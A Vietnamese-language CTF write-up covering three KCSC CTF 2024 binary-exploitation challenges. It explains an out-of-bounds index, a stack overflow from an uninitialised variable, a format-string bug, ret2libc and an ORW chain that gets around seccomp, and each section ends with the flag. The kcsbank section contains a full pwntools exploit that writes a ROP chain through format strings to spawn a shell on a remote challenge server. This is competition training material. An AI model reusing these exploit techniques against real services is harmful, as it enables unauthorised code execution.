(writeup) KCSC CTF 2024
petshop


main()

buy()

sell()

info()
analyse
- chall có 3 chức năng chính buy() , sell() và info()
- ở hàm buy() có bug OOB khi không check khả năng âm của idx

only check > 3
- tức ta có thể trỏ ngược lên phân vùng bss trên dogs hoặc cats

với idx là -2 có thể leak được exe
- ở hàm sell() có bug khác là Stack Overflow khi không memset() thằng n cho size

tức là n là stack
sẽ còn giá trị rác
khi ta thoả mãn scanf return False (đọc thất bại) nhưng không thay đổi giá trị nào trên stack
với format "%d" (nhận gtri số), ta có thể bypass bằng cách nhập gtri khác (như byte 'a' hoặc byte enter '\x0a')
bug nằm ở phép toán logic '&&'
trong coding gọi là hiện tượng đoản mạch
đk trái False thì không xét đk phải
–-> hàm if sẽ không nhảy vào
- trước khi quay lại hàm buy(), ta thấy stack cho nhập size là:
int n; // [rsp+18h] [rbp-208h]
- so sánh với buffer khi nhập name cho pets

read 1024 ~ 0x400

char s[1037]; // [rsp+20h] [rbp-424h]
- vậy hoàn toàn có thể set size cho sell() bằng cách padding lượng lớn khi nhập name ở buy()
- ở hàm info(), khi chọn option 'mine' sẽ leak value là con trỏ đang trỏ tới

format "%s"
- tóm lại, có BOF –-> leak exe –> leak libc –> ret2libc
get flag

KCSC{0h_n0_0ur_p3t_h4s_bug?!???}
kcsbank


main()
2 chế độ: đã login và chưa login

general_action() : chưa login
có 2 option

login()

reg()

account_action() : đã login
có 3 option

deposit()

withdraw()

info()
dễ dàng thấy có bug fmtstr ở đây
analyse
- vì có bug fmstr nên payload ta nằm ngay từ lúc reg() khi nhập full name
- tóm lại: –-> leak libc –-> leak stack –-> fmtstr ret2libc
note: tui thử one_gadget nhưng không được
- một điều nữa là phải fmtstr thêm 1 cái ngay ret sau main
chả biết nữa, lúc run thì thấy nếu fmtstr ở đó nó lại return stack kế tiếp =))))
nếu không thì nó exit do libc như bình thường
get flag

from pwn import *
exe = ELF('./banking_patched', checksec=False)
libc = ELF('./libc.so.6',checksec=False)
context.binary = exe
def GDB():
if not args.REMOTE:
gdb.attach(p, gdbscript='''
b*0x555555555656
#printf
b*0x55555555589f
#ret_main
c
''')
input()
info = lambda msg: log.info(msg)
sla = lambda msg, data: p.sendlineafter(msg, data)
sa = lambda msg, data: p.sendafter(msg, data)
sl = lambda data: p.sendline(data)
s = lambda data: p.send(data)
if args.REMOTE:
p = remote('103.163.24.78',10002)
else:
p = process(exe.path)
def show():
sla(b'> ',b'3')
def reg(username,password,name):
sla(b'> ',b'2')
sla(b'username: ',username)
sla(b'password: ',password)
sla(b'name: ',name)
def login(username,password):
sla(b'> ',b'1')
sla(b'Username: ',username)
sla(b'Password: ',password)
def logout(feedback):
sla(b'> ',b'4')
sla(b'feedback: ',feedback)
GDB()
reg(b'a',b'b',b'%29$p|%6$p')
login(b'a',b'b')
show()
libc_leak = int(p.recvuntil(b'|',drop=True),16)
libc.address = libc_leak - libc.sym.puts - 506
info("libc leak: " + hex(libc_leak))
info("libc base: " + hex(libc.address))
stack_leak = int(p.recvuntil(b'\n',drop=True),16)
info("stack leak: " + hex(stack_leak))
system = libc.sym.system
binsh = next(libc.search(b'/bin/sh\0'))
pop_rdi = libc.address + 0x00000000000240e5
ret = stack_leak + 0x30
info("stack ret: " + hex(ret))
logout(b'hlaan')
payload = f'%{(ret-8)&0xffff}c%10$hn'
reg(b'aaaa',b'dddd',payload)
login(b'aaaa',b'dddd')
show()
logout(b'hlaan')
payload = f'%{pop_rdi&0xffff}c%44$hn'
reg(b'abc',b'def',payload)
login(b'abc',b'def')
show()
logout(b'hlaan')
chain = [pop_rdi,binsh,system]
for i in range(3):
for j in range(3):
payload = f'%{(ret+2*j+8*i)&0xffff}c%13$hn'
reg(b'c'*i,b'd'*i,payload)
login(b'c'*i,b'd'*i)
show()
logout(b'hlaan')
payload = f'%{(chain[i]>>16*j)&0xffff}c%40$hn'
reg(b'e'*i,b'f'*i,payload)
login(b'e'*i,b'f'*i)
show()
logout(b'hlaan')
show()
p.interactive()
KCSC{st1ll_buff3r_0v3rfl0w_wh3n_h4s_c4n4ry?!?}
simple qiling

nhìn z thôi chứ không phải z =)))
do qiling nó NOASLR =))))

main()
analyse
- thấy rõ là có bug BOF
- việc còn lại là ret2libc
setup
ropchain
- đầu tiên ta cần debug trước lấy canary
- và phải active tool trước khi debug:
source qilingenv/bin/activate

0x6161616161616100
- ngộ cái là khi leak thành công libc, return lại main nhưng setup tiếp ret2libc(pop_rdi->binsh->system) thì bị EOF
sợ xmm nhưng thêm ret vẫn thể
- chuyển hướng qua execve (ret2syscall) nhưng vẫn tịt
- quên là có setup 1 func seccomp lại

- nên còn 1 phương án cuối hơi quằn là ORW =))))
- nếu set path flag.txt (call read 1 lần nữa đưa flag.txt vào rw_section) ở payload thứ 2 thì quá dài (hơn 0x100 byte) nên sẽ set ở payload thứ 1
hên exe có gadget rsi
get flag

KCSC{q3mu_vs_q1l1ng_wh1ch_1_1s_b3tt3r}